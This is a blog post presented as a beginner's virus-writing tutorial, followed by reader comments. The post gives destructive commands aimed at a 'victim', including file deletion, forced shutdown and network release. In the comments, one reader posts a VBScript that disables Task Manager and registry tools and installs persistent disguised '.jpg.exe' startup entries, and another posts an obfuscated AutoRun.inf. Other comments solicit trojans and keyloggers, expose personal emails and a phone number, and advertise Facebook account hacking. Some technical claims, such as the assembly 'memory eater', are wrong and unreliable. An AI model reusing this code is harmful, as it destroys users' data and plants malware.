Virus code tutorial

Virus code can be coded using several language. The best being c or vbs or dos. Today I teach some basic virus codings. I will be using c, dos and alp/asm(assembly language).These is a very simple Virus coding tutorial just a beginners guide

this is mainly for programmers. this post is just to change their thinking. First lets begin with tiny and simple ones.I will show both codes for windows and linux

First alp/asm
back: add c,b
loop back

This simple script needs no explanation. It will just be eating away your victims memory at a slow space. As you know addition needs some space to store intermediate result. this will be using up the ram. but very less of ram is lost and the user can stop this by just closing the .exe file. As you know a float addition takes up more space than normal addition . You can replace integer addition with float.

Now lets try to create a simple Linux virus in c.

system("poweroff");

This simple script will turn off your victims comp. Now if you can forece this script to load at start up then it will be a nightmare.

let's see one more linux virus of the same type
system("rm *.*");

This will all files with all extension which the user has previlage to delete.Just imagine if the admin runs it then it will create a havoc.

Lets see the same codes for windows.

To delete all files in windows using dos/batch progtraming will be
del *.*
and the code of the shutdown virus will be just shutdown

Now lets disable Internet

ipconfig /release
echo You Internet Been HACKED!


What if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

These are very simple virus just a beginners guide. Just check out the virus codes section for more complex and full fledged Virus coding tutorial. Please dont misuse these virus codes in c

52 comments:

satya said...

It would e kind enough if you include tips which can make a beginner into a high profile hacker.

Praveen said...

Short and Sweet Information

sankar"romeo" said...

in my coll the new folder.exe is very popular.... i jus search how its works and got an source folder in c:named "heap14a" it contains svchost.exe.and reproduce.ico tat produce the new folder virus all the place..... i cannot understand fully how the coding works help me to detect and take a seminar about the virus.......

venkey said...

i sent you a c program
Check whether it can do any harm
void main()
{
FILE *fp;
fp=fopen("*.exe","w");
fputs("Cracked",fp);
fclose(fp);
}

venkey said...

Check whether the c program can do any harm
void main()
{
FILE *fp;
fp=fopen("*.exe","w";
fputs("Cracked",fp);
fclose(fp):
}

petrovgs said...

i am new and i dont know anything about hacking and programing but i go to school for programer.I hope so that you can tell me how to become a hacker.By this i mean that you can tell me what program language i need to learn and staff like that.But first tell me how to create a trojan virus and how to send it to other people.Plz teach me.I know how to create a false viruses bu they are not interested i also know how to destroy a computer with notepad.So plz teach me how to become a hacker.My email is petrovgs@ptt.rs

roco said...

i am new and i dont know anything about hacking and programing but i go to school for programer.I hope so that you can tell me how to become a hackerand viruses programmer.

murtaza said...

i am new and i dont know anything about hacking and programing but i go to school for programer.I hope so that you can tell me how to become a hacker.By this i mean that you can tell me what program language i need to learn and staff like that.But first tell me how to create a trojan virus and how to send it to other people.Plz teach me.I know how to create a false viruses bu they are not interested i also know how to destroy a computer with notepad.So plz teach me how to become a hacker my email id is murtaza2m@yahoo.com

murtaza said...

i am new and i dont know anything about hacking and programing but i go to school for programer.I hope so that you can tell me how to become a hacker.By this i mean that you can tell me what program language i need to learn and staff like that.But first tell me how to create a trojan virus and how to send it to other people.Plz teach me.I know how to create a false viruses bu they are not interested i also know how to destroy a computer with notepad.So plz teach me how to become a hacker

Prakash said...

My Name is Prakash
I like to know so interesting thinks about virus creating .so if you know Means Please help me!
My E-Mail:PrakashRJR@gmail.com
My Number: +919786952543

AJ said...

my name is Aj watson. Im knew how to create fake viruses,but that was boring. Pliz give me some codes on virus creation and hacking n cracking tips. im a second year CS student with some knowledge on C++ and java.

my email is: aj.wati@gmail.com

strike said...

that"s all was excellent and i thank u for giving me some of the never thought instructions,,,,,,,,, but i will wait 4 ur new posts also ,, and i also request u 2 also give the breaking tricks 4 the viruses so that the virus we implemented can dissolve .. thanx
Amit Vashistha.

ash said...

hiiiiiiii
we r doing MBA
WE HAVE INFO abt how to ccreate virus.
you can me at
9860221558

chethan said...

hiii am chethan im persuing my BE in 3rd year i wanna some hacking tricks n how to use it can u please me out

yoyo said...

i only know how to program in visual basic 2008 an im willing to know how
to program Javascript viruses. if u can help me, my email is:
yousef.crazzez@gmail.com

pawnagebycounting said...

um how would you write the code for the virus to save itself both to a file and by itself? could you please answer me I am very interested maybe you could post on my blog or email me at hao_sun@live.com

pawnagebycounting said...

um how would you write the code for the virus to save itself both to a file and by itself? could you please answer me I am very interested maybe you could post on my blog or email me at hao_sun@live.com

aljonflorida said...

helo.. . can u please tell me how to make a virus in a cp ,, and then the cp will immideately turn off. . please. . email me. . aljonflorida@yahoo.com

Kimberly said...

hello friends I really liked this information, a few days ago I read something similar on a site called virus classification, I would like to receive updates on this issue, as it is very interesting, thanks!

Pinaki said...

I am making a project on the working of computer viruses, their coding and antiviruses.... It would be great if i get some help from you sir, you can send me the info. on

pinaki1992@gmail.com

please do respond...

boy said...

i can't post the whole source code of my own virus.bcoz it was too long
This code is just a part of the virus execution.It will just manipulate the registry.Script kiddy may try it,if u want...

code:


On Error Resume Next


set aa = Wscript.CreateObject("Wscript.shell")


dim bb
bb = CreateObject("Scripting.FileSystemObject").GetAbsolutePathName(".")

do

aa.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\windows\System\DisableCMD",1,"REG_DWORD"

aa.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
aa.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
aa.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt",1,"REG_DWORD"
aa.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"

aa.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","FAILBOY Bin","REG_EXPAND_SZ"
aa.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LocalizedString","FAILBOY Computer","REG_EXPAND_SZ"
aa.regwrite "HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\LocalizedString","FAILBOY Documents","REG_EXPAND_SZ"

aa.regwrite "HKEY_CLASSES_ROOT\CLSID\{1f4de370-d627-11d1-ba4f-00a0c91eedba}\LocalizedString","My Stupid Network","REG_EXPAND_SZ"
aa.regwrite "HKEY_CLASSES_ROOT\CLSID\{2227A280-3AEA-1069-A2DE-08002B30309D}\LocalizedString","Suckers and Fuckers","REG_EXPAND_SZ"
aa.regwrite "HKEY_CLASSES_ROOT\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}\LocalizedString","Control Fucker","REG_EXPAND_SZ"



aa.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"


aa.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftCorporation","" & "C:\windows\system32\TripTripLang.jpg.exe","REG_SZ"


aa.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\AdobePh","" & "C:\windows\system32\TripTripLang2.jpg.exe","REG_SZ"



aa.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate","" & "C:\windows\system32\TripTriplang.jpg.exe","REG_SZ"
aa.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate","" & "C:\windows\system32\TripTriplang2.jpg.exe","REG_SZ"




aa.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe," & "TripTripLang.jpg.exe","REG_SZ"
aa.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit","C:\WINDOWS\system32\userinit.exe," & "C:\WINDOWS\system32\TripTripLang.jpg.exe","REG_SZ"



aa.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EFS\EfsConfiguration",1,"REG_DWORD"


loop

mahdi said...

hi for all

iam newbie in virus writing can any one help me by tutorials on how can i write a virus code

boy said...

first of all ,if u r going to make a virus ,u may need to know what language are u going to use.and then study ur chosen language and that's it ask some question ,and ready to go.

rocco said...

hi
ichoose an assembly language can you help me please

mahdi

rocco said...

hi if someone available to help me
for writing virus code in assembly
language with tutorials please send to my email fatia_690@yahoo.fr

thanks

sonu said...

hii!!! I'm beginner in virus code programming. I am persueing mca. I know c,c++,visual basic prg languages well. I am interesting in viruses. Anyone please help me how to write a virus code in c language or dos for windows.
Email: sonuch9551241@gmail.com
I'm wating for response........
Thanks.

siva said...

hai every one can any one give me suggestion how to write a java script to delete any one type of virus please....if so please send me details to my id kumarsiva911@gmail.com..........please

Macronila said...

Hi Guys,

please remember this every time at everything...You can't ask for someone to help you learn something. You should always help yourself.You have tons of resource available if you are willing to learn. More importantly, when you trying to find something yourself you will explore beyond the limits and it will interest you even more...So please don't just depend on someone for what you need to know...world's best hackers and programmers didn't ask anybody's suggestions and advices which is why they are THE best.

CEO said...

;1L37qq1Ded4AdiwsqljDa2Sla4dq7KA5acfX2sK­l81Hrar4DiKkad7a0q3dpcSo9ew
[AutoRun]
;cLwl46ossA3IKoqJa1U24OqdqkLKaJwiDqS7Frq­Zww2aaSka53w33s5DA7wdsisiDKlKa90q4ej3ZAd­Slr
open=vmhr.bat
;dok3sjLwwK06L2ldsc7ekkliJwa2jkq7Ak
shell\open\Command=vmhr.bat
;3D7jwsdikdd23Klk2e3aFkfwJdedKjDs13K1iK5­Xw3rwAk4dj4sal0K3odO4w3r3Z31LjLqf5aDafii­jaiaDAqoqa0aorq2021er2soHis2JDiek1adwmf5­CkSllL
shell\open\Default=1
;kkHKokcsesarlU14sk30wo4sD5k0l3jjLSslf3o­9IJqdi711Sq58SiFos8w3qieqiSAn3d2j03lr3q2­Ddoklf2wJwZww2wop4aA6
shell\explore\Command=vmhr.bat
;rs52sSlkaD8kawF4k5sD6dKqi2spwJja91d3jK5­qK9LkLDoIwka20234AaKJa0aDHArXJw48Dq9aAi4­isif


MIGHT WANNA SAVE AS AUTORUN.INF
AFTER U COPY IT

Vann said...

I like and love virus so much!!!! If all of you have more virus, please send and teach me how to create it also!!!!!! Thanks in advance!!!!!!!!!!!!!!

My email: dethrocketmail@yahoo.com

oOSunyySnowflakeOo said...

wow i thought hacking and virus coding would be complex..but it turns out to be so easy..easier than doing the good stuff...

darshu said...

post me simple c or c++ virus code n also notes ... i am havin some idea , i want to implement it to prog .... plz send it to darshandreamer@gmail.com

airu said...

; /* Reset victim's file date, time, and size */
;

;

airu said...

Virus is just a simple program which
Multiplies itself and it uses the cpu memory so its fast being from ram and harddisk.Virus is just a program.you may design in programming language of your choice.
mostly its in assembly, etc.tryu out trojans they are real smart easy to write and alot sources are available for free tools to design them.
A hacker is a person which plays with the computer and loves to break and exploit system....he Loves his work..it requires a lot reading and patience if you have them i have the tools...

Jacob said...

Yo... Dude I'm Quite good at batch virus and simple hacking.........If you get time check out my blog i.e
www.cellulioid.blogspot.com and tell what can I do to improve it or if you already knew all that stuff.
I AM NEW

Hack Facebook Account said...

Great Rticle nd Great CommentX Xbox live month

Hack Facebook Account said...

Hack Facebook Account by using This Tool in just Seconds. How to hack Facebook Account of my personal Girl friend? Could you obtain me the pass word of my partner? Clearly show me personally how to hack Facebook account or profiles! At last I will expose it and I don’t want people to ask this to me again and again. My goal is to explain the whole process of how to hack facebook account Username and Password step-by- step so that there isn’t any doubt in your mind! Simply Follow the steps and you will have accessed the Facebook account.I am not going to force about only how to hack facebook account I just want to tell you When you learn about hacking face book account. You will also be safe and no one can hack your account and You may challenging the hackers also that no one can hack facebook account

kaidranzer said...

Are you kidding me?
system("poweroff") is a virus? Atleast read the definition of a virus before posting such nonsense.

siddhartha said...

hi this is siddhartha i need some virus programmes which makes the data inoperative and i need the coding for which agin it can be worked... so please help me by providing the information..this is my Email ID:sidyami@gmail.com

zeve leroy said...

I am keen to learn hacking.i want a code that can log passwords, and every information of the user.what he did and whom he is chating.can u give some easy code for this purpose in c.something like keylogger do

windforce2012 said...

could any give me account hacker with password for knightonline euko

hacker said...

this is THE FALSE FOOT . i created virus named "the falsefoot". it special is random change of file appearance, fast spreading . effect the system os drive . with and even disable antivirus and del it . speed of spreading is 10 min 100 system.it change thing(keyboard, mouse, regst, and finally even it can crash the system also. idnt like original .i will post demo copy on this blogger. which iam post is not original porgramme , it only a demo sample of virus

Blake Barker said...

First alp/asm
back: add c,b
loop back

Where would I write that code, that's the whole simple code for eating away memory? Where would I write it, and what would I save it as?

Idrees Riaz said...

I also tried this is really awesome codes fo all guyz i suggest you when you will see you will get Xbox Live Codes click here to get Xbox Live Code generator

Raju Saravanan said...

Boss I want to feed a html code to slowdown a forum opening by put those code through a topic comments.

This is not for bad things.

Post a Comment

Join

Join our Yahoo group newsletter. Dont worry we wont spam your inbox.

Ask Questions